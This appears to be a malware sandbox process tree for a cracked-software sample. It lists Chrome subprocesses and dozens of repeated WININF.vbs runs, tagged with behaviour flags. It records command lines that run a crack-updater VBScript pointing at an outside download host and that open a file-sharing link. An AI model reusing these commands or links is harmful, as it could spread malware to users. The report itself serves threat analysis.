PID:4356
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - System Location Discovery: System Language Discovery
  PID:6060
- C:\Windows\SysWOW64\wscript.exe
  wscript.exe "C:\Users\Admin\AppData\Local\Temp\\CRK_UPDT_3j4kckp.vbs" "https://idm.0dy.ir/" "Version" "Download_URL" "20.6" "Crack" "C:\Program Files\Google\Chrome\Application\chrome.exe" silent
  2⤵
  - Badlisted process makes network request
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:4836
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" https://workupload.com/file/RmduU5G5enk
    3⤵
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:4496
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffbdd21c728,0x7ffbdd21c734,0x7ffbdd21c740
      4⤵
      PID:2704
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1624,i,17370125578310953522,4290499724027208222,262144 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=1916 /prefetch:2
      4⤵
      PID:4276
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2084,i,14149536642840116554,17522649235929324812,524288 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=2088 /prefetch:11
      4⤵
      System Time Discovery
      PID:4412
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2236,i,14551350350729800999,752118134919385214,524288 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=2408 /prefetch:13
      4⤵
      PID:4760
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3236,i,12358178127785634925,10105667874553056904,2097152 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=3264 /prefetch:1
      4⤵
      PID:3144
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3248,i,4533851767475210672,6301110945695614381,2097152 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=3284 /prefetch:1
      4⤵
      PID:980
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4580,i,1455567727719546627,6265746894357970492,524288 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=4596 /prefetch:14
      4⤵
      PID:3496
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4768,i,1909952793907491476,10571411174010915484,2097152 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=4800 /prefetch:1
      4⤵
      PID:4672
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4944,i,17203948241517728685,7041999085821933770,2097152 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=4916 /prefetch:1
      4⤵
      PID:6040
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5760,i,11286203475145108768,9776462784117995475,524288 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=5764 /prefetch:14
      4⤵
      PID:2016
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5808,i,14002743041461738953,12938412854830277514,2097152 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=5848 /prefetch:1
      4⤵
      PID:5616
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5820,i,1364950478381099903,11831302737098926003,2097152 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=5868 /prefetch:1
      4⤵
      PID:3464
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6192,i,5887731542809472526,16883680381015534814,2097152 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=5820 /prefetch:1
      4⤵
      PID:5296
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5816,i,15040078150793855938,2843902095682127034,2097152 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=5884 /prefetch:1
      4⤵
      PID:1316
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5988,i,13531684267292251982,5310147620138029653,524288 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=6088 /prefetch:14
      4⤵
      PID:6108
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6464,i,518598010328762392,14336296649853094660,2097152 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=6112 /prefetch:1
      4⤵
      PID:3692
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5980,i,6922333996809314071,4818162018185135836,2097152 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=5888 /prefetch:1
      4⤵
      PID:2692
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6136,i,1442921068698504117,12225292152258236563,2097152 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=6036 /prefetch:1
      4⤵
      PID:6072
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6012,i,13529475975789435681,8261626634954850270,2097152 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=5208 /prefetch:1
      4⤵
      PID:3820
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4816,i,1040720365545735343,8343353003371859247,524288 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=5792 /prefetch:14
      4⤵
      PID:2480
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5784,i,2545260444533185211,3095085121521364801,524288 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=4808 /prefetch:14
      4⤵
      PID:5004
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=4824,i,4202400211416750661,13747497468335623067,2097152 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=4912 /prefetch:1
      4⤵
      PID:3020
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=4864,i,5572843700745596237,14007067321252379766,2097152 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=6304 /prefetch:9
      4⤵
      PID:3160
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4848,i,14492276831294097183,5923503425329410147,524288 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=4840 /prefetch:14
      4⤵
      PID:2596
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4884,i,3051588309233142729,18393004155065731120,524288 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=6620 /prefetch:14
      4⤵
      PID:1184
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4900,i,7487455654656782777,4308462344975749004,524288 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=5220 /prefetch:14
      4⤵
      PID:5304
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=5192,i,14459779015824274690,8139181674729682057,2097152 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=4772 /prefetch:1
      4⤵
      PID:2528
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --metrics-shmem-handle=5980,i,12983657393124079724,5174657732268353822,2097152 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=6180 /prefetch:1
      4⤵
      PID:3320
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6732,i,12863778847185652478,1233828341432327222,262144 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=6272 /prefetch:10
      4⤵
      PID:2392
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=4496,i,5194993100583913389,18235806078136997146,524288 --field-trial-handle=1912,i,11237809370631048923,15692984990730805586,262144 --variations-seed-version --mojo-platform-channel-handle=4452 /prefetch:14
      4⤵
      PID:4980
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - System Location Discovery: System Language Discovery
  PID:6044
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  PID:4228
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4860
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  PID:1136
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:4132
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:1592
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4556
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:5300
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:3292
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5744
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:1592
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:200
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3264
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5388
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:2808
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:3292
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5744
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:3640
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:2060
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  PID:4568
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1200
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1488
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:2156
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:3972
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5864
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1244
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4172
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:4764
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4312
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  PID:2572
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1344
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:4600
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - System Location Discovery: System Language Discovery
  PID:928
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5480
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4548
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:2944
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:2136
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  PID:1368
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4396
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5900
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:2748
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3608
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5768
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:872
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5792
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:2356
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:5412
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:2536
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:6028
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:1372
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4044
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3288
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  PID:6036
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:108
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  PID:4144
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3300
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Reads the TCP/IP host and domain name from the registry
  PID:2884
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:6136
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:5744
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - System Location Discovery: System Language Discovery
  PID:5948
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:916
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:4852
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
  2⤵
  PID:1560
- C:\Windows\SysWOW64\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"
